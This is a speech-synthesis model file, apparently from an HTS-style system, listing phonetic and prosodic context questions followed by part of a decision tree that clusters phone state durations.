QS ccor==+ { "*-ch+*","*-d+*","*-dh+*","*-jh+*","*-l+*","*-n+*","*-r+*","*-s+*","*-sh+*","*-t+*","*-th+*","*-z+*","*-zh+*" }
QS cont==+ { "*-dh+*","*-f+*","*-hh+*","*-l+*","*-r+*","*-s+*","*-sh+*","*-th+*","*-v+*","*-w+*","*-y+*","*-z+*","*-zh+*" }
QS vrnd==- { "*-aa+*","*-ae+*","*-ah+*","*-aw+*","*-ax+*","*-ay+*","*-eh+*","*-er+*","*-ey+*","*-ih+*","*-iy+*" }
QS cont==- { "*-b+*","*-ch+*","*-d+*","*-g+*","*-jh+*","*-k+*","*-m+*","*-n+*","*-ng+*","*-p+*","*-t+*" }
QS ccor==+&&son==- { "*-ch+*","*-d+*","*-dh+*","*-jh+*","*-s+*","*-sh+*","*-t+*","*-th+*","*-z+*","*-zh+*" }
QS cvox==- { "*-ch+*","*-f+*","*-hh+*","*-k+*","*-p+*","*-s+*","*-sh+*","*-t+*","*-th+*" }
QS cont==+&&cvox==+ { "*-dh+*","*-l+*","*-r+*","*-v+*","*-w+*","*-y+*","*-z+*","*-zh+*" }
QS cplace==a { "*-d+*","*-l+*","*-n+*","*-r+*","*-s+*","*-t+*","*-z+*" }
QS vheight==2 { "*-ah+*","*-ax+*","*-eh+*","*-er+*","*-ey+*","*-ow+*","*-oy+*" }
QS clab==+ { "*-b+*","*-f+*","*-m+*","*-p+*","*-v+*","*-w+*" }
QS csib==+ { "*-ch+*","*-jh+*","*-s+*","*-sh+*","*-z+*","*-zh+*" }
QS vfront==3 { "*-aa+*","*-ao+*","*-ow+*","*-oy+*","*-uh+*","*-uw+*" }
QS ctype==s { "*-b+*","*-d+*","*-g+*","*-k+*","*-p+*","*-t+*" }
QS vfront==1 { "*-ae+*","*-eh+*","*-ey+*","*-ih+*","*-iy+*" }
QS vlng==d { "*-aw+*","*-ay+*","*-ey+*","*-ow+*","*-oy+*" }
QS vlng==s { "*-ae+*","*-ah+*","*-eh+*","*-ih+*","*-uh+*" }
QS cvox==-&&ctype==f { "*-f+*","*-hh+*","*-s+*","*-sh+*","*-th+*" }
QS cplace==p { "*-ch+*","*-jh+*","*-sh+*","*-y+*","*-zh+*" }
QS vheight==3 { "*-aa+*","*-ae+*","*-ao+*","*-aw+*","*-ay+*" }
QS ctype==f&&csib==+ { "*-s+*","*-sh+*","*-z+*","*-zh+*" }
QS vlng==l { "*-aa+*","*-ao+*","*-iy+*","*-uw+*" }
QS cont==+&&son==+ { "*-l+*","*-r+*","*-w+*","*-y+*" }
QS ctype==r { "*-er+*","*-r+*","*-w+*","*-y+*" }
QS cvox==+&&clab==+ { "*-b+*","*-m+*","*-v+*","*-w+*" }
QS cvox==+&&ctype==f { "*-dh+*","*-v+*","*-z+*","*-zh+*" }
QS cplace==v { "*-g+*","*-k+*","*-ng+*" }
QS son==+&&cplace==a { "*-l+*","*-n+*","*-r+*" }
QS cvox==+&&csib==+ { "*-jh+*","*-z+*","*-zh+*" }
QS cont==+&&son==+&&cplace==a { "*-l+*","*-r+*" }
QS cont==-&&cvox==+&&cplace==a { "*-d+*","*-n+*" }
QS cont==+&&cvox==+&&cplace==p { "*-y+*","*-zh+*" }
QS vrnd==+&&vheight==1 { "*-uh+*","*-uw+*" }
QS name==aa { "*-aa+*" }
QS name==aw { "*-aw+*" }
QS name==ax { "*-ax+*" }
QS name==ay { "*-ay+*" }
QS name==ch { "*-ch+*" }
QS name==dh { "*-dh+*" }
QS name==f { "*-f+*" }
QS name==g { "*-g+*" }
QS name==hh { "*-hh+*" }
QS name==ih { "*-ih+*" }
QS name==k { "*-k+*" }
QS name==l { "*-l+*" }
QS name==n { "*-n+*" }
QS name==ow { "*-ow+*" }
QS name==oy { "*-oy+*" }
QS name==p { "*-p+*" }
QS name==r { "*-r+*" }
QS name==s { "*-s+*" }
QS name==t { "*-t+*" }
QS name==v { "*-v+*" }
QS name==z { "*-z+*" }
QS next_vc==- { "*+b=*","*+ch=*","*+d=*","*+dh=*","*+f=*","*+g=*","*+hh=*","*+jh=*","*+k=*","*+l=*","*+m=*","*+n=*","*+ng=*","*+p=*","*+r=*","*+s=*","*+sh=*","*+t=*","*+th=*","*+v=*","*+w=*","*+y=*","*+z=*","*+zh=*" }
QS next_son==- { "*+b=*","*+ch=*","*+d=*","*+dh=*","*+f=*","*+g=*","*+hh=*","*+jh=*","*+k=*","*+p=*","*+s=*","*+sh=*","*+t=*","*+th=*","*+v=*","*+z=*","*+zh=*" }
QS next_vc==+ { "*+aa=*","*+ae=*","*+ah=*","*+ao=*","*+aw=*","*+ax=*","*+ay=*","*+eh=*","*+er=*","*+ey=*","*+ih=*","*+iy=*","*+ow=*","*+oy=*","*+uh=*","*+uw=*" }
QS next_cvox==+ { "*+b=*","*+d=*","*+dh=*","*+g=*","*+jh=*","*+l=*","*+m=*","*+n=*","*+ng=*","*+r=*","*+v=*","*+w=*","*+y=*","*+z=*","*+zh=*" }
QS next_ccor==+ { "*+ch=*","*+d=*","*+dh=*","*+jh=*","*+l=*","*+n=*","*+r=*","*+s=*","*+sh=*","*+t=*","*+th=*","*+z=*","*+zh=*" }
QS next_cont==+ { "*+dh=*","*+f=*","*+hh=*","*+l=*","*+r=*","*+s=*","*+sh=*","*+th=*","*+v=*","*+w=*","*+y=*","*+z=*","*+zh=*" }
QS next_vrnd==- { "*+aa=*","*+ae=*","*+ah=*","*+aw=*","*+ax=*","*+ay=*","*+eh=*","*+er=*","*+ey=*","*+ih=*","*+iy=*" }
QS next_cont==- { "*+b=*","*+ch=*","*+d=*","*+g=*","*+jh=*","*+k=*","*+m=*","*+n=*","*+ng=*","*+p=*","*+t=*" }
QS next_ccor==+&&son==- { "*+ch=*","*+d=*","*+dh=*","*+jh=*","*+s=*","*+sh=*","*+t=*","*+th=*","*+z=*","*+zh=*" }
QS next_cvox==- { "*+ch=*","*+f=*","*+hh=*","*+k=*","*+p=*","*+s=*","*+sh=*","*+t=*","*+th=*" }
QS next_ctype==f { "*+dh=*","*+f=*","*+hh=*","*+s=*","*+sh=*","*+th=*","*+v=*","*+z=*","*+zh=*" }
QS next_cont==+&&cvox==+ { "*+dh=*","*+l=*","*+r=*","*+v=*","*+w=*","*+y=*","*+z=*","*+zh=*" }
QS next_ccor==+&&cvox==+ { "*+d=*","*+dh=*","*+jh=*","*+l=*","*+n=*","*+r=*","*+z=*","*+zh=*" }
QS next_cont==-&&son==- { "*+b=*","*+ch=*","*+d=*","*+g=*","*+jh=*","*+k=*","*+p=*","*+t=*" }
QS next_son==+ { "*+l=*","*+m=*","*+n=*","*+ng=*","*+r=*","*+w=*","*+y=*" }
QS next_cont==-&&cvox==+ { "*+b=*","*+d=*","*+g=*","*+jh=*","*+m=*","*+n=*","*+ng=*" }
QS next_vheight==2 { "*+ah=*","*+ax=*","*+eh=*","*+er=*","*+ey=*","*+ow=*","*+oy=*" }
QS next_clab==+ { "*+b=*","*+f=*","*+m=*","*+p=*","*+v=*","*+w=*" }
QS next_ctype==s { "*+b=*","*+d=*","*+g=*","*+k=*","*+p=*","*+t=*" }
QS next_vfront==1 { "*+ae=*","*+eh=*","*+ey=*","*+ih=*","*+iy=*" }
QS next_vfront==2 { "*+ah=*","*+aw=*","*+ax=*","*+ay=*","*+er=*" }
QS next_ccor==+&&cvox==+&&son==- { "*+d=*","*+dh=*","*+jh=*","*+z=*","*+zh=*" }
QS next_vheight==1 { "*+ih=*","*+iy=*","*+uh=*","*+uw=*" }
QS next_cont==-&&ccor==+&&son==- { "*+ch=*","*+d=*","*+jh=*","*+t=*" }
QS next_ctype==f&&csib==+ { "*+s=*","*+sh=*","*+z=*","*+zh=*" }
QS next_cont==+&&son==+ { "*+l=*","*+r=*","*+w=*","*+y=*" }
QS next_ctype==r { "*+er=*","*+r=*","*+w=*","*+y=*" }
QS next_cvox==+&&clab==+ { "*+b=*","*+m=*","*+v=*","*+w=*" }
QS next_cont==+&&cplace==a { "*+l=*","*+r=*","*+s=*","*+z=*" }
QS next_cvox==-&&ctype==s { "*+k=*","*+p=*","*+t=*" }
QS next_son==+&&cplace==a { "*+l=*","*+n=*","*+r=*" }
QS next_ctype==n { "*+m=*","*+n=*","*+ng=*" }
QS next_vfront==1&&vlng==s { "*+ae=*","*+eh=*","*+ih=*" }
QS next_ctype==r&&son==+ { "*+r=*","*+w=*","*+y=*" }
QS next_cvox==+&&ctype==s { "*+b=*","*+d=*","*+g=*" }
QS next_cont==+&&cvox==+&&cplace==a { "*+l=*","*+r=*","*+z=*" }
QS next_vfront==3&&vlng==l { "*+aa=*","*+ao=*","*+uw=*" }
QS next_cplace==d { "*+dh=*","*+th=*" }
QS next_son==+&&clab==+ { "*+m=*","*+w=*" }
QS next_vrnd==-&&vheight==1 { "*+ih=*","*+iy=*" }
QS next_ctype==s&&cplace==a { "*+d=*","*+t=*" }
QS next_cvox==-&&cplace==a { "*+s=*","*+t=*" }
QS next_vrnd==-&&vlng==l { "*+aa=*","*+iy=*" }
QS next_cont==+&&son==+&&cplace==a { "*+l=*","*+r=*" }
QS next_cvox==+&&cplace==v { "*+g=*","*+ng=*" }
QS next_cont==-&&ccor==+&&cvox==- { "*+ch=*","*+t=*" }
QS next_cvox==+&&son==-&&cplace==a { "*+d=*","*+z=*" }
QS next_son==-&&cplace==l { "*+b=*","*+p=*" }
QS next_vrnd==+&&vlng==l { "*+ao=*","*+uw=*" }
QS next_csib==+&&cplace==a { "*+s=*","*+z=*" }
QS next_name==ax { "*+ax=*" }
QS next_name==dh { "*+dh=*" }
QS next_name==hh { "*+hh=*" }
QS next_name==iy { "*+iy=*" }
QS next_name==l { "*+l=*" }
QS next_name==n { "*+n=*" }
QS next_name==ng { "*+ng=*" }
QS next_name==p { "*+p=*" }
QS next_name==r { "*+r=*" }
QS next_name==s { "*+s=*" }
QS next_name==t { "*+t=*" }
QS next_name==w { "*+w=*" }
QS next_name==y { "*+y=*" }
QS next_next_son==- { "*=b@*","*=ch@*","*=d@*","*=dh@*","*=f@*","*=g@*","*=hh@*","*=jh@*","*=k@*","*=p@*","*=s@*","*=sh@*","*=t@*","*=th@*","*=v@*","*=z@*","*=zh@*" }
QS next_next_ccor==+&&son==- { "*=ch@*","*=d@*","*=dh@*","*=jh@*","*=s@*","*=sh@*","*=t@*","*=th@*","*=z@*","*=zh@*" }
QS next_next_cont==-&&son==- { "*=b@*","*=ch@*","*=d@*","*=g@*","*=jh@*","*=k@*","*=p@*","*=t@*" }
QS next_next_cont==-&&cvox==+ { "*=b@*","*=d@*","*=g@*","*=jh@*","*=m@*","*=n@*","*=ng@*" }
QS next_next_clab==+ { "*=b@*","*=f@*","*=m@*","*=p@*","*=v@*","*=w@*" }
QS next_next_cont==-&&ccor==+ { "*=ch@*","*=d@*","*=jh@*","*=n@*","*=t@*" }
QS next_next_vheight==3 { "*=aa@*","*=ae@*","*=ao@*","*=aw@*","*=ay@*" }
QS next_next_vlng==l { "*=aa@*","*=ao@*","*=iy@*","*=uw@*" }
QS next_next_ctype==r { "*=er@*","*=r@*","*=w@*","*=y@*" }
QS next_next_son==-&&cplace==a { "*=d@*","*=s@*","*=t@*","*=z@*" }
QS next_next_cvox==+&&ctype==f { "*=dh@*","*=v@*","*=z@*","*=zh@*" }
QS next_next_cont==+&&cplace==a { "*=l@*","*=r@*","*=s@*","*=z@*" }
QS next_next_vlng==a { "*=ax@*","*=er@*" }
QS next_next_vheight==1&&vlng==l { "*=iy@*","*=uw@*" }
QS next_next_vrnd==-&&vlng==l { "*=aa@*","*=iy@*" }
QS next_next_name==er { "*=er@*" }
QS next_next_name==n { "*=n@*" }
QS next_next_name==x { "*=x@*" }
QS pos_in_syl_fw==1 { "*@1_*" }
QS pos_in_syl_fw==4 { "*@4_*" }
QS pos_in_syl_fw<=1 { "*@x_*","*@1_*" }
QS pos_in_syl_bw==1 { "*_1/A:*" }
QS pos_in_syl_bw==2 { "*_2/A:*" }
QS pos_in_syl_bw==3 { "*_3/A:*" }
QS prev_syl_stress==1 { "*/A:1_*" }
QS prev_syl_accented==0 { "*_0_*" }
QS prev_syl_length==0 { "*_0/B:*" }
QS prev_syl_length==3 { "*_3/B:*" }
QS prev_syl_length<=0 { "*_0/B:*" }
QS syl_stress==0 { "*/B:0-*" }
QS syl_stress==1 { "*/B:1-*" }
QS syl_length==2 { "*-2@*" }
QS syl_length<=2 { "*-x@*","*-1@*","*-2@*" }
QS syl_length<=3 { "*-x@*","*-1@*","*-2@*","*-3@*" }
QS syl_pos_in_word_fw==1 { "*@1-*" }
QS syl_pos_in_word_fw<=1 { "*@x-*","*@1-*" }
QS syl_pos_in_word_bw==1 { "*-1&*" }
QS syl_pos_in_word_bw==2 { "*-2&*" }
QS syl_pos_in_word_bw<=2 { "*-x&*","*-1&*","*-2&*" }
QS syl_pos_in_phrase_fw<=1 { "*&x-*","*&1-*" }
QS syl_pos_in_phrase_bw==5 { "*-5#*" }
QS syl_pos_in_phrase_bw<=1 { "*-x#*","*-1#*" }
QS syl_pos_in_phrase_bw<=4 { "*-x#*","*-1#*","*-2#*","*-3#*","*-4#*" }
QS syl_pos_in_phrase_bw<=9 { "*-x#*","*-1#*","*-2#*","*-3#*","*-4#*","*-5#*","*-6#*","*-7#*","*-8#*","*-9#*" }
QS num_stressed_syls_in_phrase_before_this_syl<=5 { "*#x-*","*#1-*","*#2-*","*#3-*","*#4-*","*#5-*" }
QS num_stressed_syls_in_phrase_after_this_syl<=8 { "*-x$*","*-1$*","*-2$*","*-3$*","*-4$*","*-5$*","*-6$*","*-7$*","*-8$*" }
QS num_accented_syls_in_phrase_before_this_syl<=2 { "*$x-*","*$1-*","*$2-*" }
QS dist_to_prev_stressed_syl_in_phrase==1 { "*!1-*" }
QS dist_to_prev_stressed_syl_in_phrase==2 { "*!2-*" }
QS dist_to_next_stressed_syl_in_phrase==1 { "*-1;*" }
QS dist_to_prev_accented_syl_in_phrase<=3 { "*;x-*","*;0-*","*;1-*","*;2-*","*;3-*" }
QS dist_to_next_accented_syl_in_phrase<=2 { "*-x|*","*-0|*","*-1|*","*-2|*" }
QS syl_vowel_vfront==3 { "*|aa/C:*","*|ao/C:*","*|ow/C:*","*|oy/C:*","*|uh/C:*","*|uw/C:*" }
QS syl_vowel_vheight==1 { "*|ih/C:*","*|iy/C:*","*|uh/C:*","*|uw/C:*" }
QS syl_vowel_vrnd==-&&vlng==s { "*|ae/C:*","*|ah/C:*","*|eh/C:*","*|ih/C:*" }
QS syl_vowel_vlng==l { "*|aa/C:*","*|ao/C:*","*|iy/C:*","*|uw/C:*" }
QS syl_vowel_vfront==1&&vlng==s { "*|ae/C:*","*|eh/C:*","*|ih/C:*" }
QS syl_vowel_vheight==1&&vlng==s { "*|ih/C:*","*|uh/C:*" }
QS syl_vowel_vlng==a { "*|ax/C:*","*|er/C:*" }
QS syl_vowel_vheight==1&&vlng==l { "*|iy/C:*","*|uw/C:*" }
QS syl_vowel_vrnd==-&&vlng==l { "*|aa/C:*","*|iy/C:*" }
QS syl_vowel_vheight==3&&vlng==d { "*|aw/C:*","*|ay/C:*" }
QS syl_vowel==aa { "*|aa/C:*" }
QS syl_vowel==ae { "*|ae/C:*" }
QS syl_vowel==ao { "*|ao/C:*" }
QS syl_vowel==eh { "*|eh/C:*" }
QS syl_vowel==er { "*|er/C:*" }
QS syl_vowel==ih { "*|ih/C:*" }
QS syl_vowel==iy { "*|iy/C:*" }
QS syl_vowel==ow { "*|ow/C:*" }
QS syl_vowel==oy { "*|oy/C:*" }
QS syl_vowel==uw { "*|uw/C:*" }
QS next_syl_accented==1 { "*+1+*" }
QS next_syl_length<=2 { "*+0/D:*","*+1/D:*","*+2/D:*" }
QS prev_word_gpos==content { "*/D:content_*" }
QS num_syls_in_prev_word==2 { "*_2/E:*" }
QS num_syls_in_prev_word<=0 { "*_0/E:*" }
QS word_gpos==aux { "*/E:aux+*" }
QS word_gpos==cc { "*/E:cc+*" }
QS word_gpos==content { "*/E:content+*" }
QS word_gpos==det { "*/E:det+*" }
QS word_gpos==in { "*/E:in+*" }
QS word_gpos==pps { "*/E:pps+*" }
QS word_gpos==wp { "*/E:wp+*" }
QS num_syls_in_word<=2 { "*+x@*","*+1@*","*+2@*" }
QS word_pos_in_phrase_fw==1 { "*@1+*" }
QS word_pos_in_phrase_fw<=1 { "*@x+*","*@1+*" }
QS word_pos_in_phrase_fw<=2 { "*@x+*","*@1+*","*@2+*" }
QS word_pos_in_phrase_fw<=3 { "*@x+*","*@1+*","*@2+*","*@3+*" }
QS num_content_words_in_phrase_before_this_word==2 { "*&2+*" }
QS num_content_words_in_phrase_before_this_word==5 { "*&5+*" }
QS dist_to_prev_content_word_in_phrase<=0 { "*#x+*","*#0+*" }
QS dist_to_prev_content_word_in_phrase<=2 { "*#x+*","*#0+*","*#1+*","*#2+*" }
QS dist_to_next_content_word_in_phrase==1 { "*+1/F:*" }
QS next_word_gpos==0 { "*/F:0_*" }
QS next_word_gpos==det { "*/F:det_*" }
QS next_word_gpos==in { "*/F:in_*" }
QS next_word_gpos==wp { "*/F:wp_*" }
QS num_syls_in_next_word==1 { "*_1/G:*" }
QS num_syls_in_next_word<=3 { "*_0/G:*","*_1/G:*","*_2/G:*","*_3/G:*" }
QS num_syls_in_prev_phrase==0 { "*/G:0_*" }
QS num_words_in_prev_phrase==1 { "*_1/H:*" }
QS num_words_in_prev_phrase==2 { "*_2/H:*" }
QS num_words_in_prev_phrase<=1 { "*_0/H:*","*_1/H:*" }
QS num_syls_in_phrase==2 { "*/H:2=*" }
QS num_syls_in_phrase<=8 { "*/H:x=*","*/H:1=*","*/H:2=*","*/H:3=*","*/H:4=*","*/H:5=*","*/H:6=*","*/H:7=*","*/H:8=*" }
QS num_syls_in_phrase<=11 { "*/H:x=*","*/H:1=*","*/H:2=*","*/H:3=*","*/H:4=*","*/H:5=*","*/H:6=*","*/H:7=*","*/H:8=*","*/H:9=*","*/H:10=*","*/H:11=*" }
QS num_syls_in_phrase<=13 { "*/H:x=*","*/H:1=*","*/H:2=*","*/H:3=*","*/H:4=*","*/H:5=*","*/H:6=*","*/H:7=*","*/H:8=*","*/H:9=*","*/H:10=*","*/H:11=*","*/H:12=*","*/H:13=*" }
QS num_syls_in_phrase<=17 { "*/H:x=*","*/H:1=*","*/H:2=*","*/H:3=*","*/H:4=*","*/H:5=*","*/H:6=*","*/H:7=*","*/H:8=*","*/H:9=*","*/H:10=*","*/H:11=*","*/H:12=*","*/H:13=*","*/H:14=*","*/H:15=*","*/H:16=*","*/H:17=*" }
QS num_words_in_phrase<=4 { "*=x^*","*=1^*","*=2^*","*=3^*","*=4^*" }
QS num_words_in_phrase<=11 { "*=x^*","*=1^*","*=2^*","*=3^*","*=4^*","*=5^*","*=6^*","*=7^*","*=8^*","*=9^*","*=10^*","*=11^*" }
QS phrase_pos_in_utt_fw<=2 { "*^x=*","*^1=*","*^2=*" }
QS phrase_end_tone==NONE { "*|NONE/I:*" }
QS num_syls_in_next_phrase==4 { "*/I:4=*" }
QS num_syls_in_next_phrase<=0 { "*/I:0=*" }
QS num_syls_in_next_phrase<=2 { "*/I:0=*","*/I:1=*","*/I:2=*" }
QS num_syls_in_next_phrase<=4 { "*/I:0=*","*/I:1=*","*/I:2=*","*/I:3=*","*/I:4=*" }
QS num_words_in_next_phrase<=0 { "*=0/J:*" }
QS num_words_in_next_phrase<=3 { "*=0/J:*","*=1/J:*","*=2/J:*","*=3/J:*" }
QS num_words_in_next_phrase<=4 { "*=0/J:*","*=1/J:*","*=2/J:*","*=3/J:*","*=4/J:*" }
QS num_words_in_next_phrase<=5 { "*=0/J:*","*=1/J:*","*=2/J:*","*=3/J:*","*=4/J:*","*=5/J:*" }
QS num_syls_in_utt==8 { "*/J:8+*" }
QS num_syls_in_utt==16 { "*/J:16+*" }
QS num_syls_in_utt<=8 { "*/J:1+*","*/J:2+*","*/J:3+*","*/J:4+*","*/J:5+*","*/J:6+*","*/J:7+*","*/J:8+*" }
QS num_syls_in_utt<=10 { "*/J:1+*","*/J:2+*","*/J:3+*","*/J:4+*","*/J:5+*","*/J:6+*","*/J:7+*","*/J:8+*","*/J:9+*","*/J:10+*" }
QS num_syls_in_utt<=14 { "*/J:1+*","*/J:2+*","*/J:3+*","*/J:4+*","*/J:5+*","*/J:6+*","*/J:7+*","*/J:8+*","*/J:9+*","*/J:10+*","*/J:11+*","*/J:12+*","*/J:13+*","*/J:14+*" }
QS num_words_in_utt==7 { "*+7-*" }
QS num_words_in_utt==12 { "*+12-*" }
QS num_words_in_utt<=5 { "*+1-*","*+2-*","*+3-*","*+4-*","*+5-*" }
QS pos_in_word_fw==1 { "*/K:1_*" }
QS pos_in_word_fw==2 { "*/K:2_*" }
QS pos_in_word_fw<=1 { "*/K:x_*","*/K:1_*" }
QS pos_in_word_fw<=2 { "*/K:x_*","*/K:1_*","*/K:2_*" }
QS pos_in_word_fw<=3 { "*/K:x_*","*/K:1_*","*/K:2_*","*/K:3_*" }
QS pos_in_word_bw==1 { "*_1" }
QS pos_in_word_bw==3 { "*_3" }
QS pos_in_word_bw==5 { "*_5" }
QS pos_in_word_bw<=1 { "*_x","*_1" }
QS pos_in_word_bw<=3 { "*_x","*_1","*_2","*_3" }
QS pos_in_word_bw<=4 { "*_x","*_1","*_2","*_3","*_4" }
QS pos_in_word_bw<=5 { "*_x","*_1","*_2","*_3","*_4","*_5" }
{*}[2]
{
0 syl_pos_in_phrase_bw<=1 -1 -3
-1 cont==-&&cvox==+&&cplace==a -2 -15
-2 name==ax -4 -18
-3 prev_name==x -9 -51
-4 ctype==s -5 -16
-5 vlng==d -6 -38
-6 pos_in_syl_fw==1 -8 -7
-7 name==dh -13 -42
-8 name==ih -10 -36
-9 vc==- -12 -11
-10 vheight==3 -28 -20
-11 ctype==s -23 -37
-12 name==ax -21 -81
-13 cvox==- -19 -14
-14 name==hh -30 -53
-15 name==n -26 -91
-16 pos_in_syl_fw<=1 -27 -17
-17 cvox==- -33 -25
-18 prev_cont==+&&cvox==+ -45 -83
-19 cvox==+&&clab==+ -34 -35
-20 word_gpos==aux -29 -41
-21 phrase_end_tone==NONE -22 -24
-22 prev_ccor==+&&ctype==f -44 -59
-23 cvox==-&&ctype==f -32 -61
-24 vlng==s -63 -137
-25 name==t -105 -70
-26 prev_name==n -73 -66
-27 prev_son==- -46 -48
-28 cont==+&&cvox==+ -31 -39
-29 next_cont==+&&son==+&&cplace==a -50 -111
-30 prev_son==- -64 -96
-31 ctype==r -43 -234
-32 pos_in_word_bw==1 -88 -62
-33 syl_pos_in_phrase_fw<=1 -187 -228
-34 vlng==s -94 -67
-35 cont==+&&son==+ -128 -112
-36 prev_cont==+&&son==+ -97 -189
-37 name==t -100 -54
-38 pos_in_word_fw==1 -78 -194
-39 prev_cvox==- -40 -80
-40 cvox==+&&ctype==f -69 -49
-41 prev_son==- -173 -222
-42 prev_vc==+ -65 -193
-43 prev_cont==-&&cvox==+ -47 -166
-44 num_words_in_next_phrase<=0 -135 -52
-45 pos_in_word_fw==1 -86 -237
-46 name==t -172 -90
-47 vrnd==+&&vheight==1 -56 -77
-48 name==t "dur_s2_1" -200
-49 next_cvox==- -115 -85
-50 syl_vowel==aa -76 -298
-51 next_vc==+ -214 -152
-52 prev_cvox==-&&cplace==a -71 -162
-53 syl_vowel_vheight==1&&vlng==l -74 -79
-54 pos_in_syl_fw<=1 -55 -252
-55 prev_cvox==- -230 -460
-56 clab==+ -57 -258
-57 vheight==2 -58 -60
-58 prev_name==hh -102 -293
-59 num_words_in_next_phrase<=0 -279 -95
-60 prev_cont==+&&son==+&&cplace==a -82 -84
-61 prev_son==- -98 -147
-62 cont==+&&son==+&&cplace==a -93 -568
-63 syl_vowel_vlng==l -169 -109
-64 prev_syl_length<=0 -72 -206
-65 prev_cont==-&&cvox==+&&cplace==a -132 -516
-66 prev_prev_vrnd==-&&vheight==3 -318 -89
-67 syl_vowel_vheight==1&&vlng==s -68 -110
-68 word_gpos==content -140 -259
-69 ctype==r -163 -117
-70 syl_stress==0 -123 -144
-71 prev_cvox==-&&clab==+ -180 -465
-72 next_son==+ -106 "dur_s2_2"
-73 pos_in_word_fw==1 -129 -127
-74 prev_name==pau -75 -266
-75 next_vrnd==-&&vheight==1 -372 -317
-76 next_ctype==n -148 -141
-77 word_gpos==content -122 -167
-78 prev_cont==+&&ccor==+&&cvox==+ -142 -146
-79 num_syls_in_prev_word<=0 -219 "dur_s2_3"
-80 next_vrnd==- -301 -159
-81 next_son==+ -467 -327
-82 next_name==r -226 "dur_s2_4"
-83 next_son==+ -248 -312
-84 prev_prev_vlng==l -118 "dur_s2_5"
-85 ccor==+ "dur_s2_6" -120
-86 syl_pos_in_word_bw==1 -360 -87
-87 next_son==+&&cplace==a -423 -131
-88 cont==+&&son==+ -121 -92
-89 next_cvox==- -321 -437
-90 next_ccor==+&&son==- -134 -633
-91 next_ctype==s&&cplace==a -113 -305
-92 prev_son==- -398 -525
-93 cplace==v -136 "dur_s2_7"
-94 vc==+ -116 -124
-95 prev_cvox==-&&cplace==a -196 -571
-96 name==f -157 -304
-97 next_name==ng -108 -204
-98 name==hh -99 -256
-99 next_next_name==x -154 -401
-100 cvox==+ -179 -101
-101 pos_in_word_bw<=1 -217 -195
-102 cont==- -103 -277
-103 prev_vc==- -104 -211
-104 next_cvox==-&&cplace==a "dur_s2_9" "dur_s2_8"
-105 next_ccor==+ -233 -197
-106 name==ch -107 "dur_s2_10"
-107 prev_vrnd==- -390 -278
-108 prev_name==hh -186 -349
-109 next_ctype==r -183 -410
-110 pos_in_word_fw==1 "dur_s2_11" -174
-111 prev_cvox==-&&clab==+ -188 -587
-112 syl_pos_in_phrase_fw<=1 -133 -441
-113 next_vc==+ -150 -114
-114 pos_in_word_fw==1 -647 -350
-115 next_name==dh -165 -392
-116 prev_vc==+ -224 -119
-117 prev_vlng==l -253 -184
-118 word_gpos==content "dur_s2_12" -325
-119 cvox==+&&csib==+ -238 -336
-120 csib==+ "dur_s2_13" -319
-121 name==dh -125 -294
-122 next_cont==- -249 -338
-123 prev_cont==-&&cplace==a -210 -376
-124 syl_stress==1 -330 -130
-125 cvox==+&&clab==+ -126 "dur_s2_14"
-126 cplace==a -316 -156
-127 prev_name==pau -314 "dur_s2_15"
-128 name==v -257 -199
-129 next_cont==+&&cplace==a -145 -504
-130 word_gpos==aux -164 -299
-131 next_name==l -261 -356
-132 prev_son==- -326 -216
-133 prev_cvox==- -139 -177
-134 prev_prev_vfront==1&&vheight==2 -207 "dur_s2_16"
-135 next_vc==- -182 -254
-136 csib==+ -220 -225
-137 syl_vowel==ih -151 -138
-138 pos_in_word_fw==1 -161 -492
-139 prev_syl_length==3 -383 -255
-140 dist_to_prev_content_word_in_phrase<=0 -153 -176
-141 syl_vowel==ae -292 -191
-142 name==oy -143 -609
-143 syl_vowel_vheight==3&&vlng==d -198 -215
-144 prev_son==- -149 "dur_s2_17"
-145 next_ccor==+ -171 -598
-146 name==ow -231 -155
-147 name==hh -359 -574
-148 prev_cont==+&&son==+&&cplace==a -269 -341
-149 pos_in_word_fw==1 -291 "dur_s2_18"
-150 next_cplace==d -168 "dur_s2_19"
-151 next_cont==+&&son==+ -181 -377
-152 next_vheight==1 -438 -389
-153 next_cvox==+&&clab==+ -232 -160
-154 next_vc==+ -208 -628
-155 prev_name==dh "dur_s2_21" "dur_s2_20"
-156 next_cont==-&&ccor==+&&cvox==- -190 "dur_s2_22"
-157 next_son==+ -158 "dur_s2_23"
-158 prev_cont==+&&cvox==+ -241 -284
-159 word_gpos==content "dur_s2_24" -178
-160 prev_son==- -409 -391
-161 next_name==ng -308 "dur_s2_25"
-162 prev_prev_cvox==-&&ctype==f -346 "dur_s2_26"
-163 next_son==- -322 -250
-164 vrnd==- -306 -418
-165 ccor==+&&son==- -271 -236
-166 son==- -175 "dur_s2_27"
-167 prev_ctype==r -192 -205
-168 next_name==l -311 -429
-169 name==ay -170 -276
-170 pos_in_word_bw<=1 -329 -280
-171 prev_vc==- -223 -613
-172 name==k -513 -209
-173 next_word_gpos==in "dur_s2_29" "dur_s2_28"
-174 word_pos_in_phrase_fw<=1 -309 -527
-175 word_gpos==cc -267 -498
-176 pos_in_syl_bw==3 "dur_s2_30" -243
-177 prev_name==t -524 -553
-178 name==r -552 -221
-179 pos_in_syl_fw==1 -273 -547
-180 prev_ctype==n -264 "dur_s2_31"
-181 syl_vowel_vfront==1&&vlng==s -452 -282
-182 next_vfront==1&&vlng==s -419 -339
-183 word_gpos==aux -246 "dur_s2_32"
-184 next_son==- "dur_s2_33" -185
-185 word_gpos==content -382 -285
-186 next_name==r -262 "dur_s2_34"
-187 prev_csib==+ -203 -497
-188 prev_cont==+&&cvox==+&&cplace==p -251 "dur_s2_35"
-189 word_gpos==content -387 -202
-190 next_son==- -501 -343
-191 word_gpos==content "dur_s2_37" "dur_s2_36"
-192 syl_vowel==uw -388 -365
-193 syl_vowel==er -536 "dur_s2_38"
-194 num_syls_in_prev_word<=0 -337 "dur_s2_39"
-195 prev_name==ax -395 "dur_s2_40"
-196 prev_name==z "dur_s2_41" -584
-197 clab==+ "dur_s2_42" -462
-198 pos_in_word_bw==1 -239 -469
-199 prev_vrnd==- -272 -470
-200 next_son==- -335 -201
-201 num_words_in_prev_phrase==1 "dur_s2_44" "dur_s2_43"
-202 next_cvox==+&&cplace==v -240 "dur_s2_45"
-203 syl_stress==1 -320 -402
-204 syl_stress==0 "dur_s2_46" -619
-205 next_clab==+ -244 -475
-206 csib==+ "dur_s2_48" "dur_s2_47"
-207 next_next_son==-&&cplace==a -434 "dur_s2_49"
-208 next_son==- "dur_s2_51" "dur_s2_50"
-209 next_son==+ -413 "dur_s2_52"
